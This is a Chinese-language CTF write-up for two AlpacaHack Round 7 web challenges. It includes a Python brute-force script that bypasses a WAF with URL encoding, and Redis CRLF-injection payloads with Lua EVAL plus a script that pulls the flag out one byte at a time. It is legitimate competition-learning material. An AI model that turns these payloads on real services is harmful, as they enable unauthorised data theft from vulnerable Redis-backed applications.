【Web】AlpacaHack Round 7 (Web) 题解

发布于:2024-12-18 ⋅ 阅读:(253) ⋅ 点赞:(0)

Treasure Hunt

flag在md5值拼接flagtxt的文件里,如

d/4/1/d/8/c/d/9/8/f/0/0/b/2/0/4/e/9/8/0/0/9/9/8/e/c/f/8/4/2/7/e/f/l/a/g/t/x/t

访问已经存在的目录状态码是301

访问不存在的目录状态码是404

 

 基于此差异可以写爆破脚本

这段waf可以用url编码绕过

做个lab

const express = require('express');
const app = express();

// 路由处理:直接返回请求的 URL
app.get('*', (req, res) => {
  res.send(`Request URL: ${req.url}`);
});

// 启动服务器
const port = 3000;
app.listen(port, () => {
  console.log(`Server is running at http://localhost:${port}`);
});

 

可以看到express的req.url直接取到了原始路径

gpt搓一个脚本

import http.client
import string

# MD5字符集
md5_chars = string.digits + string.ascii_lowercase[:6]  # 0-9, a-f

# 指定的目标URL
base_url = '34.170.146.252'
port = 49215  # 端口号

# 自定义URL编码函数,对数字和字母进行URL编码
def custom_urlencode(path):
    encoded_path = ""
    
    # 遍历路径中的每个字符
    for char in path:
        # 如果是字母或数字,则进行URL编码
        if char.isalnum():  # 如果字符是字母或数字
            # 获取字符的 ASCII 值,转换为 2位16进制并加上%
            encoded_path += '%' + format(ord(char), '02x')
        else:
            # 否则直接添加字符(如 /、- 等)
            encoded_path += char
    
    return encoded_path

# 校验路径是否满足条件的函数
def check_path(path):
    # 对路径进行自定义URL编码
    encoded_path = custom_urlencode(path)
    
    # 创建一个http.client的连接
    connection = http.client.HTTPConnection(base_url, port)
    
    try:
        url = "/" + encoded_path  # 拼接请求的路径
        print(f"Requesting URL: {url}")  # 打印发包的URL
        
        # 发送GET请求
        connection.request("GET", url)
        
        # 获取响应
        response = connection.getresponse()
        
        print(f"Response Status Code: {response.status}")  # 打印响应状态码
        
        # 假设条件是通过返回的状态码来判断
        if response.status == 301:
            print(f"Valid path found: {url}")
            return True
        else:
            return False
    except Exception as e:
        # 如果请求失败或出错,打印错误信息
        print(f"Error while checking path {path}: {e}")
        return False
    finally:
        connection.close()

# 爆破路径的函数
def brute_force_path(prefix, depth=1):
    print(f"Starting depth {depth}: Trying path: {prefix}")
    
    if depth == 33:
        # 达到深度33时,停止递归
        print(f"Depth {depth} reached. Stopping path exploration.")
        return
    
    else:
        # 尝试每一个MD5字符集中的字符
        for char in md5_chars:
            new_prefix = prefix + "/" + char
            print(f"Depth {depth}: Trying character: {char}, Path: {new_prefix}")
            if check_path(new_prefix):
                brute_force_path(new_prefix, depth + 1)
                break  # 如果找到有效路径,停止尝试继续当前字符

# 启动路径爆破,开始爆破第一位
brute_force_path('')

脚本跑出来的路径再拼接/f/l/a/g/t/x/t的url编码拿到flag

 

Alpaca Poll

js中的replace只会替换一次,详见:

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#description

在/vote处注入 

 

 

打redis的EVAL LUA命令注入,把dog的值换成flag的值

直接插payload会这样:

animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); redis.call('SET', 'dog', flag_value); return flag_value;" 0

 

原因在于getvotes方法最后只回显数字

 可以先将flag字符串转ascii码

animal=dog%0d%0a%0d%0aEVAL "local flag_value = redis.call('GET', 'flag'); local ascii_values = ''; for i = 1, #flag_value do ascii_values = ascii_values .. string.byte(flag_value, i) end; redis.call('SET', 'dog', ascii_values); return ascii_values;" 0

parseInt转出来太大了,精度不够

65108112979997120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

 搓个脚本用GETRANGE逐位去读

import requests

target = 'http://34.170.146.252:24564'
flag = ''
index = 0
while not flag.endswith('}'):
    payload = f'\r\n\r\nEVAL "return redis.call(\'SET\', \'dog\', string.byte(redis.call(\'GETRANGE\',\'flag\', {index}, {index})))" 0'
    response = requests.post(f'{target}/vote', data={'animal': 'dog' + payload}, headers={'Content-Type': 'application/x-www-form-urlencoded'})
    if response.status_code != 200:
        print(f"Error with /vote request: {response.status_code}")
        break
    response = requests.get(f'{target}/votes')
    if response.status_code != 200:
        print(f"Error with /votes request: {response.status_code}")
        break
    votes = response.json()
    dog_ascii = votes.get('dog')
    if dog_ascii is not None:
        flag += chr(dog_ascii)
        print(f"Flag so far: {flag}")
    else:
        print("No 'dog' field in the response")
        break
    index += 1
print(f"Final flag: {flag}")

跑出来 

 


网站公告

今日签到

点亮在社区的每一天
去签到